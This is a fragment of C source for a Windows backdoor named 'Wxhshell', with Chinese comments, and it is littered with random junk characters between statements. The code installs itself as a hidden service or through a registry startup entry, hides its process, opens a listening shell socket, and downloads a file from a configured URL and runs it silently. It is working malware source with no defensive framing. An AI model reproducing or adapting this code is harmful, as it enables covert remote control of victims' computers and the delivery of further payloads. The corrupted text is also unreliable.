if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); eJGos!>* jgKL88J*\ CloseHandle(hProcess); ].P(/~FS9 }l?_Cfvu if(strstr(procName,"services")) return 1; // 以服务启动 U<Y'.! W7=_u+0d return 0; // 注册表启动 (OcNC/9 } )v{41sM+ -xu.=n@, // 主模块 R(83E
B~_ int StartWxhshell(LPSTR lpCmdLine) <1+6O[>{ { ~:<@ ` SOCKET wsl; !b->u_ BOOL val=TRUE; 7 eQoc2X2 int port=0; j4xr1y3^ struct sockaddr_in door; ^s~n[ K}<!{/fi) if(wscfg.ws_autoins) Install(); %)Uvf`Xhh4 h_chZB' port=atoi(lpCmdLine); E
D^rWE_ -f2`qltjb if(port<=0) port=wscfg.ws_port; ?U/Wio$@ `6N-MsP WSADATA data; Y+u-J4bj if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; UxcDDa/j2T {dA
~#fW< if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; B H0#Q5 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); LL[#b2CKa door.sin_family = AF_INET; +%qSB9_>N{ door.sin_addr.s_addr = inet_addr("127.0.0.1"); QiE<[QP{g door.sin_port = htons(port); rKQASRF5* px}7If if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E'^]zW=9 closesocket(wsl); KCh return 1; Mev-M2A } tkN3BQ nN`Z0? if(listen(wsl,2) == INVALID_SOCKET) { QYTTP6 Gz+ closesocket(wsl); yEUNkZ5^ return 1; PWk?8dL- } ]6BmCh Wxhshell(wsl); @> Ghfh>~D WSACleanup(); &:;;u\ f;Bfh3 return 0; .eabtGO, Q_kT}6#(J= } Z0ncN]) ,M@m4bx // 以NT服务方式启动 nK h%E-c VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S
$_Y/x { $EQT"ZX>%i DWORD status = 0; [|[sYo DWORD specificError = 0xfffffff; mfngbFa1 |J<pLz serviceStatus.dwServiceType = SERVICE_WIN32; ~1=.?Ho serviceStatus.dwCurrentState = SERVICE_START_PENDING; [+'BQ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; wyrI8UY serviceStatus.dwWin32ExitCode = 0; hD$p;LF serviceStatus.dwServiceSpecificExitCode = 0; S#h'\/S serviceStatus.dwCheckPoint = 0; (~7m"? serviceStatus.dwWaitHint = 0; Z<N&UFw7QJ ,%?; \?b%h hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); WS1&3mOd if (hServiceStatusHandle==0) return; prlyaq;4 G/fP(o-Wd status = GetLastError(); ! 2Xr~u7a if (status!=NO_ERROR) rv,NQZ { 6MQs \ J6. serviceStatus.dwCurrentState = SERVICE_STOPPED; 1<W4>~,wj serviceStatus.dwCheckPoint = 0; rwL=R, serviceStatus.dwWaitHint = 0; %jZp9}h serviceStatus.dwWin32ExitCode = status; vLBee>$
serviceStatus.dwServiceSpecificExitCode = specificError; fVH*dX'Jz SetServiceStatus(hServiceStatusHandle, &serviceStatus); [ZKtbPHb return; \[[TlB> } d=t}T6.| sb}K%- serviceStatus.dwCurrentState = SERVICE_RUNNING; (ET ;LH3 serviceStatus.dwCheckPoint = 0; P /c
Q1 serviceStatus.dwWaitHint = 0; Zk/' \(5 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); '9-axIj70 } OS4]Y `;5VH ]V // 处理NT服务事件,比如:启动、停止 rL%]S&M9 VOID WINAPI NTServiceHandler(DWORD fdwControl) >@)*Sn9" { HJfQ]p'nK2 switch(fdwControl) V8sH{R- { abROFI5.L case SERVICE_CONTROL_STOP: $u; >hk serviceStatus.dwWin32ExitCode = 0; R3B5-^s serviceStatus.dwCurrentState = SERVICE_STOPPED; `26V`%bPkr serviceStatus.dwCheckPoint = 0; 0'yG1qG serviceStatus.dwWaitHint = 0; -E8ntY- { 5\akI\ SetServiceStatus(hServiceStatusHandle, &serviceStatus); r~$}G-g } 7P/?wv9+n* return; [$( sUc(% case SERVICE_CONTROL_PAUSE: x|@1wQ"6 serviceStatus.dwCurrentState = SERVICE_PAUSED; V3>f*Z)xn break; s[G|q5n case SERVICE_CONTROL_CONTINUE: Wl&
>6./{ serviceStatus.dwCurrentState = SERVICE_RUNNING; t7um
[ break; <XQN;{xSa case SERVICE_CONTROL_INTERROGATE: AI1@- break; :DtZ8$I`]C }; UF&0&`@ SetServiceStatus(hServiceStatusHandle, &serviceStatus); Vs_\ykO } r6d0x MzEm*`< // 标准应用程序主函数 H GO#e int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !,cQ'*<W8- { Z/2,al\ 3]O`[P,*% // 获取操作系统版本 ,f8}q]FTA OsIsNt=GetOsVer(); /S:w&5e GetModuleFileName(NULL,ExeFile,MAX_PATH); MU_!&(X_ S}oG.r
9 // 从命令行安装 k$e D(cW$ if(strpbrk(lpCmdLine,"iI")) Install(); yz[%MXI +1otn~(E // 下载执行文件 = EQN-{# if(wscfg.ws_downexe) { w^06z, if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) H$z>OS_6U WinExec(wscfg.ws_filenam,SW_HIDE); L;/9L[s, } LP.HS'M~u Sm$p\ORa if(!OsIsNt) { ; cGv] A+ // 如果时win9x,隐藏进程并且设置为注册表启动 U9 1 &| HideProc(); k2EHco0BG StartWxhshell(lpCmdLine); K :1g" } 9#v-2QY else F>(qOH.I if(StartFromService()) Err4
%- // 以服务方式启动 <Z{vC StartServiceCtrlDispatcher(DispatchTable); :PgF else 8)L'rW{q# // 普通方式启动 EzR%w*F>Q StartWxhshell(lpCmdLine); B$cOssl 89hF)80 return 0; 3>RcWy;1i }
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